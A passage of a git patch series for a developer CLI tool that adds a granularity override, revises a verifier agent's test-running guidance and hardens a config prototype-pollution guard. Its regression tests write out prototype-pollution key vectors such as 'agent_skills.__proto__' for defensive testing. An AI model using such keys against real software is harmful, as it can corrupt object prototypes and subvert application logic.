`plan_count`, `phase_status` (#3569), `planning_exists`, `roadmap_exists`, `phase_req_ids`, `response_language`. +Parse JSON for: `researcher_model`, `planner_model`, `checker_model`, `research_enabled`, `plan_checker_enabled`, `nyquist_validation_enabled`, `commit_docs`, `text_mode`, `phase_found`, `phase_dir`, `phase_number`, `phase_name`, `phase_slug`, `padded_phase`, `has_research`, `has_context`, `has_reviews`, `has_plans`, `plan_count`, `phase_status` (#3569), `planning_exists`, `roadmap_exists`, `phase_req_ids`, `response_language`, `granularity`. **If `response_language` is set:** Include `response_language: {value}` in all spawned subagent prompts so any user-facing output stays in the configured language. @@ -99,7 +100,7 @@ The gate fires only on `Complete`. `Executed` and `Needs Review` are not gated ## 2. Parse and Normalize Arguments -Extract from $ARGUMENTS: phase number (integer or decimal like `2.1`), flags (`--research`, `--skip-research`, `--research-phase `, `--gaps`, `--skip-verify`, `--skip-ui`, `--prd `, `--ingest `, `--ingest-format `, `--reviews`, `--text`, `--bounce`, `--skip-bounce`, `--chunked`, `--mvp`, `--tdd`, `--force` (override closed-phase gate, see §1.5)). +Extract from $ARGUMENTS: phase number (integer or decimal like `2.1`), flags (`--research`, `--skip-research`, `--research-phase `, `--gaps`, `--skip-verify`, `--skip-ui`, `--prd `, `--ingest `, `--ingest-format `, `--reviews`, `--text`, `--bounce`, `--skip-bounce`, `--chunked`, `--mvp`, `--tdd`, `--granularity `, `--force` (override closed-phase gate, see §1.5)). **`--research-phase ` — research-only mode (#3042 + #3044).** When this flag is present, parse `` as the phase number (overrides any positional phase argument), set `RESEARCH_ONLY=true`, and treat the rest of this workflow as a research-dispatch only — the planner spawn (step 8), plan-checker, verification, gaps, bounce, and post-planning-gaps blocks all skip on `RESEARCH_ONLY`. Use this for cross-phase research, doc review before committing to a planning approach, and correction-without-replanning loops. Replaces the deleted `/gsd-research-phase` command. @@ -120,6 +121,8 @@ if $RESEARCH_ONLY && [[ "$ARGUMENTS" =~ (^|[[:space:]])--view([[:space:]]|$) ]]; fi ``` +**`--granularity ` — CLI override (#703).** When present, this value is the resolved granularity passed to the planner — it wins over any per-phase `granularities.` config, top-level `granularity` config, or project defaults. The init JSON always includes a `granularity` field reflecting the resolved value; read it from there. Invalid values (anything other than `coarse`, `standard`, `fine`) cause an error at the CLI boundary. + Set `TEXT_MODE=true` if `--text` is present in $ARGUMENTS OR `text_mode` from init JSON is `true`. When `TEXT_MODE` is active, replace every `AskUserQuestion` call with a plain-text numbered list and ask the user to type their choice number. This is required for Claude Code remote sessions (`/rc` mode) where TUI menus don't work through the Claude App. **MVP_MODE resolution.** Resolve `MVP_MODE` once via the centralized `phase.mvp-mode` query verb. Precedence (first hit wins): CLI flag → ROADMAP.md `**Mode:** mvp` → `workflow.mvp_mode` config → false. The verb is the single source of truth — do not re-implement the chain. @@ -935,6 +938,7 @@ Each TDD plan gets one feature with RED/GREEN/REFACTOR gate sequence. **MVP_MODE:** ${MVP_MODE} (when true, follow vertical-slice rules from `~/.claude/gsd-core/references/planner-mvp-mode.md`; when false, ignore MVP guidance entirely.) **WALKING_SKELETON:** ${WALKING_SKELETON} (when true, the first deliverable must be a Walking Skeleton — Read the template at `~/.claude/gsd-core/references/skeleton-template.md` and produce SKELETON.md alongside PLAN.md.) +**Granularity:** {granularity} ${MVP_MODE === 'true' ? ` diff --git a/src/commands.cts b/src/commands.cts index a5cc33820..4ce1f87be 100644 --- a/src/commands.cts +++ b/src/commands.cts @@ -34,6 +34,7 @@ const { getRoadmapPhaseInternal, extractPhaseToken, resolveGranularityInternal, + assertValidGranularityOverride, } = core; import { renderEffortForRuntime, RUNTIMES_WITH_FAST_MODE } from './model-catalog.cjs'; // eslint-disable-next-line @typescript-eslint/no-require-imports @@ -340,11 +341,12 @@ function cmdResolveModel(cwd: string, agentType: string | undefined, raw: boolea output(result, raw, model); } -function cmdResolveGranularity(cwd: string, phaseType: string | undefined, raw: boolean): void { +function cmdResolveGranularity(cwd: string, phaseType: string | undefined, raw: boolean, override?: string): void { if (!phaseType) { error('phase-type required'); } - const granularity = resolveGranularityInternal(cwd, phaseType); + assertValidGranularityOverride(override, error); + const granularity = resolveGranularityInternal(cwd, phaseType, override); const result = (VALID_PHASE_TYPES).has(phaseType!) ? { granularity, phase_type: phaseType } : { granularity, phase_type: phaseType, unknown_phase_type: true }; diff --git a/src/core.cts b/src/core.cts index a62e1c38f..e5c24760d 100644 --- a/src/core.cts +++ b/src/core.cts @@ -1590,7 +1590,12 @@ const VALID_GRANULARITIES = new Set(['coarse', 'standard', 'fine']); /** * Resolve the planning granularity for a phase type (#68). */ -function resolveGranularityInternal(cwd: string, phaseType: string | null | undefined): string { +function resolveGranularityInternal(cwd: string, phaseType: string | null | undefined, override?: string | null): string { + if (override !== undefined && override !== null && override !== '') { + if (VALID_GRANULARITIES.has(override)) { + return override; + } + } const config = loadConfig(cwd); const configGranularities = config['granularities'] as Record | null | undefined; const perPhase = (phaseType && configGranularities && typeof configGranularities === 'object') @@ -1610,6 +1615,19 @@ function resolveGranularityInternal(cwd: string, phaseType: string | null | unde return 'standard'; } +/** + * Validate a CLI granularity override at the command boundary. Empty/null/undefined + * are treated as "no override" (no-op). An invalid non-empty value calls `fail`. + */ +function assertValidGranularityOverride( + override: string | null | undefined, + fail: (msg: string) => never, +): void { + if (override !== undefined && override !== null && override !== '' && !VALID_GRANULARITIES.has(override)) { + fail(`invalid granularity '${override}' (valid: ${[...VALID_GRANULARITIES].join(', ')})`); + } +} + /** * #3024 — Resolve a model for a specific dynamic-routing attempt. */ @@ -2200,6 +2218,7 @@ export = { resolveModelForTier, resolveGranularityInternal, VALID_GRANULARITIES, + assertValidGranularityOverride, resolveEffortInternal, resolveFastModeInternal, resolveEffortForTier, diff --git a/src/init-command-router.cts b/src/init-command-router.cts index 6f864e415..317ce0059 100644 --- a/src/init-command-router.cts +++ b/src/init-command-router.cts @@ -66,8 +66,8 @@ function routeInitCommand({ init, args, cwd, raw, error }: RouteInitCommandOptio init.cmdInitExecutePhase(cwd, args[2], raw, { validate: namedArgs['validate'], tdd: namedArgs['tdd'] }); }, 'plan-phase': () => { - const namedArgs = parseNamedArgs(args, [], ['validate', 'tdd']); - init.cmdInitPlanPhase(cwd, args[2], raw, { validate: namedArgs['validate'], tdd: namedArgs['tdd'] }); + const namedArgs = parseNamedArgs(args, ['granularity'], ['validate', 'tdd']); + init.cmdInitPlanPhase(cwd, args[2], raw, { validate: namedArgs['validate'], tdd: namedArgs['tdd'], granularity: namedArgs['granularity'] }); }, 'new-project': () => init.cmdInitNewProject(cwd, raw), 'new-milestone': () => init.cmdInitNewMilestone(cwd, raw), diff --git a/src/init.cts b/src/init.cts index a74ed97f6..f31d362c5 100644 --- a/src/init.cts +++ b/src/init.cts @@ -29,6 +29,8 @@ import frontmatterMod = require('./frontmatter.cjs'); const { loadConfig, resolveModelInternal, + resolveGranularityInternal, + assertValidGranularityOverride, findPhaseInternal, getRoadmapPhaseInternal, pathExistsInternal, @@ -375,12 +377,17 @@ function cmdInitPlanPhase( } } + const granularityOverride = options['granularity'] as string | undefined; + assertValidGranularityOverride(granularityOverride, error); + const granularity = resolveGranularityInternal(cwd, 'planning', granularityOverride || undefined); + const result: Record = { researcher_model: resolveModelInternal(cwd, 'gsd-phase-researcher'), planner_model: resolveModelInternal(cwd, 'gsd-planner'), checker_model: resolveModelInternal(cwd, 'gsd-plan-checker'), tdd_mode: options['tdd'] || config.tdd_mode || false, + granularity, research_enabled: config.research, plan_checker_enabled: config.plan_checker, nyquist_validation_enabled: config.nyquist_validation, diff --git a/tests/feat-68-per-phase-granularity.test.cjs b/tests/feat-68-per-phase-granularity.test.cjs index 29d8c0646..9159ee50e 100644 --- a/tests/feat-68-per-phase-granularity.test.cjs +++ b/tests/feat-68-per-phase-granularity.test.cjs @@ -318,3 +318,193 @@ describe('#68 resolve-granularity command: CLI behavior', () => { assert.strictEqual(output.unknown_phase_type, undefined, 'known phase type must not have unknown_phase_type'); }); }); + +// ─── #703 CLI override: --granularity flag ──────────────────────────────────── + +describe('#703 resolveGranularityInternal: CLI override param (3rd arg)', () => { + let projectDir; + beforeEach(() => { projectDir = makeTmp('cli-override'); }); + afterEach(() => { cleanup(projectDir); }); + + test('override fine beats per-phase config granularities.planning=coarse', () => { + writeConfig(projectDir, { + granularity: 'standard', + granularities: { planning: 'coarse' }, + }); + assert.equal(resolveGranularityInternal(projectDir, 'planning', 'fine'), 'fine', + 'CLI override must beat per-phase config'); + }); + + test('override coarse beats top-level granularity=fine', () => { + writeConfig(projectDir, { + granularity: 'fine', + }); + assert.equal(resolveGranularityInternal(projectDir, 'execution', 'coarse'), 'coarse', + 'CLI override must beat top-level granularity'); + }); + + test('override standard beats planning.granularity=fine global fallback (regardless of phase type)', () => { + writeConfig(projectDir, { + planning: { granularity: 'fine' }, + }); + assert.equal(resolveGranularityInternal(projectDir, 'execution', 'standard'), 'standard', + 'CLI override must beat planning.granularity fallback'); + }); + + test("override '' (empty string) falls through to config chain", () => { + writeConfig(projectDir, { + granularity: 'coarse', + }); + assert.equal(resolveGranularityInternal(projectDir, 'planning', ''), 'coarse', + 'empty-string override must fall through to config chain'); + }); + + test('override undefined falls through to config chain', () => { + writeConfig(projectDir, { + granularity: 'fine', + }); + assert.equal(resolveGranularityInternal(projectDir, 'planning', undefined), 'fine', + 'undefined override must fall through to config chain'); + }); + + test('override null falls through to config chain', () => { + writeConfig(projectDir, { + granularity: 'coarse', + }); + assert.equal(resolveGranularityInternal(projectDir, 'planning', null), 'coarse', + 'null override must fall through to config chain'); + }); + + test('invalid override value falls through to config chain (not rejected in resolver)', () => { + writeConfig(projectDir, { + granularity: 'standard', + }); + // Invalid override reaches resolver → falls through (validation is CLI boundary's job) + assert.equal(resolveGranularityInternal(projectDir, 'planning', 'ultra'), 'standard', + 'invalid override must fall through to config chain in resolver'); + }); +}); + +describe('#703 cmdResolveGranularity: --granularity CLI flag', () => { + let tmpDir; + beforeEach(() => { tmpDir = createTempProject(); }); + afterEach(() => { cleanup(tmpDir); }); + + test('--granularity fine overrides config chain via CLI tool', () => { + fs.writeFileSync( + path.join(tmpDir, '.planning', 'config.json'), + JSON.stringify({ granularity: 'coarse' }) + ); + const result = runGsdTools('resolve-granularity planning --granularity fine', tmpDir, { HOME: tmpDir }); + assert.ok(result.success, `Command failed: ${result.error}`); + const output = JSON.parse(result.output); + assert.strictEqual(output.granularity, 'fine', '--granularity fine must override config coarse'); + }); + + test('--granularity coarse overrides per-phase granularities.planning=fine', () => { + fs.writeFileSync( + path.join(tmpDir, '.planning', 'config.json'), + JSON.stringify({ + granularity: 'standard', + granularities: { planning: 'fine' }, + }) + ); + const result = runGsdTools('resolve-granularity planning --granularity coarse', tmpDir, { HOME: tmpDir }); + assert.ok(result.success, `Command failed: ${result.error}`); + const output = JSON.parse(result.output); + assert.strictEqual(output.granularity, 'coarse', '--granularity coarse must beat per-phase fine'); + }); + + test('invalid --granularity value exits with error', () => { + const result = runGsdTools('resolve-granularity planning --granularity ultra', tmpDir); + assert.ok(!result.success, 'should fail with invalid granularity'); + assert.ok( + result.error.includes('ultra') || result.error.includes('invalid'), + `error should mention invalid value; got: ${result.error}` + ); + }); +}); + +// ─── #703 end-to-end: init.plan-phase path forwards and resolves granularity ── +// +// Fixture mirrors tests/pattern-mapper.test.cjs: createTempProject() + +// minimal STATE.md + ROADMAP.md + phase directory — just enough for +// cmdInitPlanPhase to succeed without agents / git. + +function makeInitPlanPhaseFixture(prefix) { + const tmpDir = createTempProject(prefix); + const planningDir = path.join(tmpDir, '.planning'); + fs.writeFileSync(path.join(planningDir, 'STATE.md'), [ + '# State', + '', + '## Current Phase', + 'Phase 1 — Foundation', + ].join('\n')); + fs.writeFileSync(path.join(planningDir, 'ROADMAP.md'), [ + '# Roadmap', + '', + '## Phase 1: Foundation', + 'Build the foundation.', + '**Status:** Planning', + '**Requirements:** [FOUND-01]', + ].join('\n')); + fs.mkdirSync(path.join(planningDir, 'phases', '01-foundation'), { recursive: true }); + return tmpDir; +} + +describe('#703 init.plan-phase end-to-end: granularity resolution via CLI', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = makeInitPlanPhaseFixture('gsd-68-e2e-'); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('(1) --granularity fine overrides config granularities.planning=coarse end-to-end', () => { + fs.writeFileSync( + path.join(tmpDir, '.planning', 'config.json'), + JSON.stringify({ granularity: 'standard', granularities: { planning: 'coarse' } }) + ); + const result = runGsdTools('init plan-phase 1 --granularity fine', tmpDir, { HOME: tmpDir }); + assert.ok(result.success, `init plan-phase failed: ${result.error}`); + const data = JSON.parse(result.output); + assert.strictEqual(data.granularity, 'fine', + '--granularity fine override must win over granularities.planning=coarse end-to-end'); + }); + + test('(2) no flag + config granularities.planning=fine → granularity=fine (Fix A: per-phase-type honored)', () => { + fs.writeFileSync( + path.join(tmpDir, '.planning', 'config.json'), + JSON.stringify({ granularity: 'coarse', granularities: { planning: 'fine' } }) + ); + const result = runGsdTools('init plan-phase 1', tmpDir, { HOME: tmpDir }); + assert.ok(result.success, `init plan-phase failed: ${result.error}`); + const data = JSON.parse(result.output); + assert.strictEqual(data.granularity, 'fine', + 'granularities.planning=fine must be honored (phaseType=planning in resolveGranularityInternal)'); + }); + + test('(3) no flag + global granularity=coarse (no granularities.planning) → granularity=coarse', () => { + fs.writeFileSync( + path.join(tmpDir, '.planning', 'config.json'), + JSON.stringify({ granularity: 'coarse' }) + ); + const result = runGsdTools('init plan-phase 1', tmpDir, { HOME: tmpDir }); + assert.ok(result.success, `init plan-phase failed: ${result.error}`); + const data = JSON.parse(result.output); + assert.strictEqual(data.granularity, 'coarse', + 'global granularity=coarse must be returned when no granularities.planning is set'); + }); + + test('(4) --granularity ultra → command errors (invalid value rejected on plan-phase path)', () => { + const result = runGsdTools('init plan-phase 1 --granularity ultra', tmpDir, { HOME: tmpDir }); + assert.ok(!result.success, 'should fail with invalid granularity ultra'); + assert.ok( + result.error.includes('ultra') || result.error.includes('invalid'), + `error should mention invalid value; got: ${result.error}` + ); + }); +}); From 612e3e60e88a7d83dde3c4f72ec0383f9570dc66 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 00:18:00 -0400 Subject: [PATCH 34/94] fix(#751): recognise config-set prototype-pollution guard in CodeQL + test dynamic-key vectors (#752) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CodeQL alert #26 (js/prototype-pollution-utility) kept firing on setConfigValue because its dataflow does not trace the #663 Set-based, pre-loop keys.some(...) forbidden-key check as a sanitising barrier on the write site. - src/config.cts: replace the Set + pre-loop check with inline literal comparisons (key === '__proto__' || 'prototype' || 'constructor') on the exact key used to index `current`, immediately before each write (intermediate keys in the descent loop, plus the final key). Same forbidden set, same error message and ERROR_REASON.CONFIG_PARSE_FAILED — behaviour unchanged from #663, but the barrier is now CodeQL-recognised. - tests/config.test.cjs: add regression tests for schema-valid dynamic-prefix keys (agent_skills.__proto__, agent_skills.constructor, agent_skills.prototype, features.__proto__, review.models.constructor) that pass the isValidConfigKey schema gate and reach the guard. Each asserts the guard's own message fires (not the schema gate's "Unknown config key") and Object.prototype is not polluted. The prior #663 tests never reached the guard — their keys are rejected by the schema gate first — so the guard's real attack surface was untested. Co-authored-by: Claude Opus 4.8 --- ...fig-prototype-pollution-codeql-alert-26.md | 5 + src/config.cts | 23 +++- tests/config.test.cjs | 121 ++++++++++++++++++ 3 files changed, 142 insertions(+), 7 deletions(-) create mode 100644 .changeset/751-config-prototype-pollution-codeql-alert-26.md diff --git a/.changeset/751-config-prototype-pollution-codeql-alert-26.md b/.changeset/751-config-prototype-pollution-codeql-alert-26.md new file mode 100644 index 000000000..2e638c05e --- /dev/null +++ b/.changeset/751-config-prototype-pollution-codeql-alert-26.md @@ -0,0 +1,5 @@ +--- +type: Security +pr: 752 +--- +**`gsd-tools config-set` prototype-pollution guard hardened and regression-tested.** The guard that blocks `__proto__`, `prototype`, and `constructor` segments in dotted config keys now uses inline literal comparisons at each property-write site (instead of a pre-loop `Set` check), so CodeQL's `js/prototype-pollution-utility` analysis recognises it as a sanitising barrier and code-scanning alert #26 clears. Runtime behaviour is unchanged from #663. Added regression tests that drive schema-valid dynamic-prefix keys (`agent_skills.__proto__`, `agent_skills.constructor`, `features.__proto__`, `review.models.constructor`) all the way to the guard — these reach `setConfigValue` past the schema gate and were previously the guard's only untested attack surface. (#751) diff --git a/src/config.cts b/src/config.cts index a0eb45f7c..4fa4d9efc 100644 --- a/src/config.cts +++ b/src/config.cts @@ -429,22 +429,31 @@ function setConfigValue(cwd: string, keyPath: string, parsedValue: unknown): Set error('Failed to read config.json: ' + (err as Error).message, ERROR_REASON.CONFIG_PARSE_FAILED); } - // Set nested value using dot notation (e.g., "workflow.research") + // Set nested value using dot notation (e.g., "workflow.research"). + // Prototype-pollution guard: reject dangerous segments via inline literal + // comparisons on the exact key used to index `current`, immediately before + // each write. The inline comparison is the barrier CodeQL's + // js/prototype-pollution-utility query recognises — the previous Set-based + // pre-loop check was functionally correct but not traced through, so + // code-scanning alert #26 kept firing. Behaviour is unchanged from #663. const keys = keyPath.split('.'); - const FORBIDDEN_KEYS = new Set(['__proto__', 'prototype', 'constructor']); - if (keys.some((k) => FORBIDDEN_KEYS.has(k))) { - error('Invalid config key (prototype pollution guard): ' + keyPath, ERROR_REASON.CONFIG_PARSE_FAILED); - } let current: Record = config; for (let i = 0; i < keys.length - 1; i++) { const key = keys[i]; + if (key === '__proto__' || key === 'prototype' || key === 'constructor') { + error('Invalid config key (prototype pollution guard): ' + keyPath, ERROR_REASON.CONFIG_PARSE_FAILED); + } if (current[key] === undefined || typeof current[key] !== 'object') { current[key] = {}; } current = current[key] as Record; } - const previousValue = current[keys[keys.length - 1]]; // Capture previous value before overwriting - current[keys[keys.length - 1]] = parsedValue; + const lastKey = keys[keys.length - 1]; + if (lastKey === '__proto__' || lastKey === 'prototype' || lastKey === 'constructor') { + error('Invalid config key (prototype pollution guard): ' + keyPath, ERROR_REASON.CONFIG_PARSE_FAILED); + } + const previousValue = current[lastKey]; // Capture previous value before overwriting + current[lastKey] = parsedValue; // Write back try { diff --git a/tests/config.test.cjs b/tests/config.test.cjs index d369d29fe..1180f5222 100644 --- a/tests/config.test.cjs +++ b/tests/config.test.cjs @@ -1158,6 +1158,127 @@ describe('config-set prototype-pollution guard (#663)', () => { }); }); +// ─── config-set prototype-pollution guard via dynamic-key prefixes (alert #26) ─ + +describe('config-set prototype-pollution guard via dynamic-key prefixes (alert #26)', () => { + let tmpDir; + + beforeEach(() => { + tmpDir = createTempProject(); + // Initialise config so there is a config.json to write to. + runGsdTools('config-ensure-section', tmpDir); + }); + + afterEach(() => { + cleanup(tmpDir); + }); + + test('agent_skills.__proto__ is blocked by setConfigValue guard (not schema gate)', () => { + const result = runGsdTools('config-set agent_skills.__proto__ somevalue', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + // Must be the pollution guard, not the schema gate. + assert.ok( + result.error.includes('prototype pollution guard'), + `Expected "prototype pollution guard" in error, got: ${result.error}`, + ); + // No schema-gate message. + assert.ok( + !result.error.includes('Unknown config key'), + `Should not hit schema gate, got: ${result.error}`, + ); + + // No prototype pollution occurred. + assert.strictEqual(({}).somevalue, undefined, 'agent_skills.__proto__: {}.somevalue should be undefined'); + assert.strictEqual(Object.prototype.hasOwnProperty.call(Object.prototype, 'somevalue'), false, + 'agent_skills.__proto__: Object.prototype should not gain "somevalue"'); + }); + + test('agent_skills.constructor is blocked by setConfigValue guard (not schema gate)', () => { + const result = runGsdTools('config-set agent_skills.constructor somevalue', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + assert.ok( + result.error.includes('prototype pollution guard'), + `Expected "prototype pollution guard" in error, got: ${result.error}`, + ); + assert.ok( + !result.error.includes('Unknown config key'), + `Should not hit schema gate, got: ${result.error}`, + ); + + assert.strictEqual(Object.prototype.hasOwnProperty.call(Object.prototype, 'somevalue'), false, + 'agent_skills.constructor: Object.prototype should not gain "somevalue"'); + }); + + test('agent_skills.prototype is blocked by setConfigValue guard (not schema gate)', () => { + const result = runGsdTools('config-set agent_skills.prototype somevalue', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + assert.ok( + result.error.includes('prototype pollution guard'), + `Expected "prototype pollution guard" in error, got: ${result.error}`, + ); + assert.ok( + !result.error.includes('Unknown config key'), + `Should not hit schema gate, got: ${result.error}`, + ); + + assert.strictEqual(Object.prototype.hasOwnProperty.call(Object.prototype, 'somevalue'), false, + 'agent_skills.prototype: Object.prototype should not gain "somevalue"'); + }); + + test('features.__proto__ is blocked by setConfigValue guard (not schema gate)', () => { + const result = runGsdTools('config-set features.__proto__ somevalue', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + assert.ok( + result.error.includes('prototype pollution guard'), + `Expected "prototype pollution guard" in error, got: ${result.error}`, + ); + assert.ok( + !result.error.includes('Unknown config key'), + `Should not hit schema gate, got: ${result.error}`, + ); + + assert.strictEqual(({}).somevalue, undefined, 'features.__proto__: {}.somevalue should be undefined'); + assert.strictEqual(Object.prototype.hasOwnProperty.call(Object.prototype, 'somevalue'), false, + 'features.__proto__: Object.prototype should not gain "somevalue"'); + }); + + test('review.models.constructor is blocked by setConfigValue guard (not schema gate)', () => { + const result = runGsdTools('config-set review.models.constructor somevalue', tmpDir); + + assert.strictEqual(result.success, false, `Expected failure but got: ${result.output}`); + + assert.ok( + result.error.includes('prototype pollution guard'), + `Expected "prototype pollution guard" in error, got: ${result.error}`, + ); + assert.ok( + !result.error.includes('Unknown config key'), + `Should not hit schema gate, got: ${result.error}`, + ); + + assert.strictEqual(Object.prototype.hasOwnProperty.call(Object.prototype, 'somevalue'), false, + 'review.models.constructor: Object.prototype should not gain "somevalue"'); + }); + + test('positive control: agent_skills.sonnet-coder with valid value succeeds', () => { + const result = runGsdTools('config-set agent_skills.sonnet-coder true', tmpDir); + + assert.ok(result.success, `Legitimate agent_skills key rejected unexpectedly: ${result.error}`); + + const config = readConfig(tmpDir); + assert.strictEqual(config.agent_skills['sonnet-coder'], true, + 'agent_skills.sonnet-coder should be written to config.json'); + }); +}); + // ─── plan_review.source_grounding + _authority (#22) ───────────────────────── describe('plan_review.source_grounding and plan_review.source_grounding_authority (#22)', () => { From ad1203f9d4360a9cd1281bb966d92cc07a021ad5 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 00:46:27 -0400 Subject: [PATCH 35/94] feat(#25): scope gsd-verifier Step 7b to enumerate-or-single-test; forbid full-suite re-runs (#753) * feat(#25): scope gsd-verifier Step 7b to enumerate-or-single-test; forbid full-suite re-runs Step 7b's lone test example (`npm test -- --grep "$PHASE_TEST_PATTERN"`) is mocha/vitest/jest-specific, where `--grep` filters which tests *execute*. Models generalized it to `cargo test --workspace 2>&1 | grep X` (runs the whole suite, filters only *output*) and repeated it once per must-have, adding minutes per verification with no new evidence after the first run. Replace the example with language-agnostic guidance: prove a test EXISTS via enumeration (`cargo test -- --list` / `pytest --collect-only` / `npx vitest list` / `go test -list`), and prove it PASSES via a single named test (`cargo test -- --exact` / `pytest -k` / `npx vitest run -t`). Add a Spot-check constraint forbidding more than one full-suite run per verification or piping a full run through grep per must-have, while still permitting one saved run + grep when a full run is genuinely required. docs/AGENTS.md gains a one-line Key-behaviors note, and a new test asserts the Step 7b content. Scoped per the maintainer decision on the issue: folded into Step 7b (no new top-level Step 7a) with no VERIFICATION.md label changes. Closes #25 Co-Authored-By: Claude Opus 4.8 * chore(#25): add Changed changeset fragment for PR #753 Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/gentle-orcas-click.md | 5 ++ agents/gsd-verifier.md | 8 ++- docs/AGENTS.md | 1 + ...erifier-spotcheck-test-discipline.test.cjs | 57 +++++++++++++++++++ 4 files changed, 69 insertions(+), 2 deletions(-) create mode 100644 .changeset/gentle-orcas-click.md create mode 100644 tests/verifier-spotcheck-test-discipline.test.cjs diff --git a/.changeset/gentle-orcas-click.md b/.changeset/gentle-orcas-click.md new file mode 100644 index 000000000..e17689f51 --- /dev/null +++ b/.changeset/gentle-orcas-click.md @@ -0,0 +1,5 @@ +--- +type: Changed +pr: 753 +--- +The `gsd-verifier` agent no longer re-runs the full workspace test suite once per must-have during Step 7b spot-checks — it enumerates tests to prove existence and runs a single named test to prove a pass, invoking the full suite at most once per verification. diff --git a/agents/gsd-verifier.md b/agents/gsd-verifier.md index 07d149d2c..b4a1610d1 100644 --- a/agents/gsd-verifier.md +++ b/agents/gsd-verifier.md @@ -466,8 +466,11 @@ ls $BUILD_OUTPUT_DIR/*.{js,css} 2>/dev/null | wc -l # Module exports expected functions node -e "const m = require('$MODULE_PATH'); console.log(typeof m.$FUNCTION_NAME)" 2>/dev/null | grep -q "function" -# Test suite passes (if tests exist for this phase's code) -npm test -- --grep "$PHASE_TEST_PATTERN" 2>&1 | grep -q "passing" +# A test EXISTS (existence proof — enumerate, do NOT run the suite) +cargo test -- --list 2>/dev/null | grep -q "$PHASE_TEST_PATTERN" # pytest --collect-only -q · npx vitest list · go test -list '.*' + +# A specific test PASSES (run ONE named test, never the whole suite) +cargo test "$TEST_NAME" -- --exact # pytest -k "$TEST_NAME" · npx vitest run -t "$TEST_NAME" ``` 2. **Run each check** and record pass/fail: @@ -487,6 +490,7 @@ npm test -- --grep "$PHASE_TEST_PATTERN" 2>&1 | grep -q "passing" - Each check must complete in under 10 seconds - Do not start servers or services — only test what's already runnable - Do not modify state (no writes, no mutations, no side effects) +- **Run the full workspace test command at most once per verification.** Never filter a full run per must-have (` 2>&1 | grep X` repeated per truth) — it re-runs everything and yields no new evidence. Prove a test exists by enumeration (`--list` / `--collect-only`); prove one passes via a single named test. If a full run is genuinely required, run it once and `grep` the saved output. - If the project has no runnable entry points yet, skip with: "Step 7b: SKIPPED (no runnable entry points)" ## Step 7c: Probe Execution diff --git a/docs/AGENTS.md b/docs/AGENTS.md index b63a9176f..ff048bda2 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -292,6 +292,7 @@ GSD uses a multi-agent architecture where thin orchestrators (workflow files) sp - Logs issues for `/gsd-verify-work` to address - Milestone scope filtering: gaps addressed in later phases are marked as "deferred", not reported as failures (v1.32) - **Test quality audit** (v1.32): verifies that tests prove what they claim by checking for disabled/skipped tests on requirements, circular test patterns (system generating its own expected values), assertion strength (existence vs. value vs. behavioral), and expected value provenance. Blockers from test quality audit override an otherwise passing verification +- Runs the full workspace test suite at most once per verification — proves a test *exists* by enumeration and that it *passes* via a single named test, never re-running the whole suite per must-have. --- diff --git a/tests/verifier-spotcheck-test-discipline.test.cjs b/tests/verifier-spotcheck-test-discipline.test.cjs new file mode 100644 index 000000000..df7ac5e56 --- /dev/null +++ b/tests/verifier-spotcheck-test-discipline.test.cjs @@ -0,0 +1,57 @@ +'use strict'; +const test = require('node:test'); +const assert = require('node:assert'); +const fs = require('node:fs'); +const path = require('node:path'); + +// Issue #25: gsd-verifier Step 7b must not present the runner-specific +// full-suite "| grep" anti-pattern, and must steer toward +// enumerate-for-existence / single-named-test-for-pass. +const verifierPath = path.join(__dirname, '..', 'agents', 'gsd-verifier.md'); +const content = fs.readFileSync(verifierPath, 'utf8'); + +// Scope assertions to the Step 7b section so the guard tracks the right place. +const start = content.indexOf('## Step 7b'); +const end = content.indexOf('## Step 7c', start); +assert.ok(start !== -1 && end !== -1 && end > start, 'Step 7b section not found'); +const step7b = content.slice(start, end); + +test('Step 7b drops the misleading full-suite grep example', () => { + assert.ok( + !step7b.includes('npm test -- --grep "$PHASE_TEST_PATTERN" 2>&1 | grep -q "passing"'), + 'the runner-specific `npm test --grep` example should be removed (it mis-generalizes to ` | grep`)' + ); +}); + +test('Step 7b steers existence proofs to test enumeration', () => { + assert.ok( + /cargo test -- --list/.test(step7b), + 'Step 7b should show the correct `cargo test -- --list` enumeration form' + ); + assert.ok( + /pytest --collect-only/.test(step7b) && + /vitest list/.test(step7b) && + /go test -list/.test(step7b), + 'Step 7b should list cross-ecosystem enumeration commands (pytest/vitest/go)' + ); +}); + +test('Step 7b steers pass-checks to a single named test', () => { + assert.ok( + /-- --exact/.test(step7b) && + /pytest -k/.test(step7b) && + /vitest run -t/.test(step7b), + 'Step 7b should show single-named-test commands across ecosystems' + ); +}); + +test('Step 7b forbids re-running the full suite per must-have', () => { + assert.ok( + /at most once per verification/i.test(step7b), + 'Step 7b should forbid invoking the full workspace test command more than once per verification' + ); + assert.ok( + /grep/i.test(step7b) && /per must-have|per truth/i.test(step7b), + 'Step 7b should explicitly call out the per-must-have full-suite grep anti-pattern' + ); +}); From f7e902f1cf2cd443b2c41a731fd7b939f49f34c3 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 01:06:41 -0400 Subject: [PATCH 36/94] feat(#52): add agent_skills_security.trusted_global_roots allowlist for global skills (#754) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(#52): add agent_skills_security.trusted_global_roots allowlist Opt-in allowlist so a global: agent skill whose SKILL.md realpath resolves outside the default global skills base (e.g. ~/.claude/skills) is accepted when its real target lies under a user-declared trusted root. Default [] is byte-identical to prior behavior; the symlink-escape guard is preserved and simply re-applied against each declared root. - src/security.cts: loadTrustedGlobalRoots — tilde-expand (~ and ~/), reject project-relative and dangerously broad roots (filesystem/UNC root, homedir), realpath-canonicalize each root every run and drop non-existent ones. - src/init.cts: on base-check failure the guard consults the trusted roots (hoisted out of the loop); 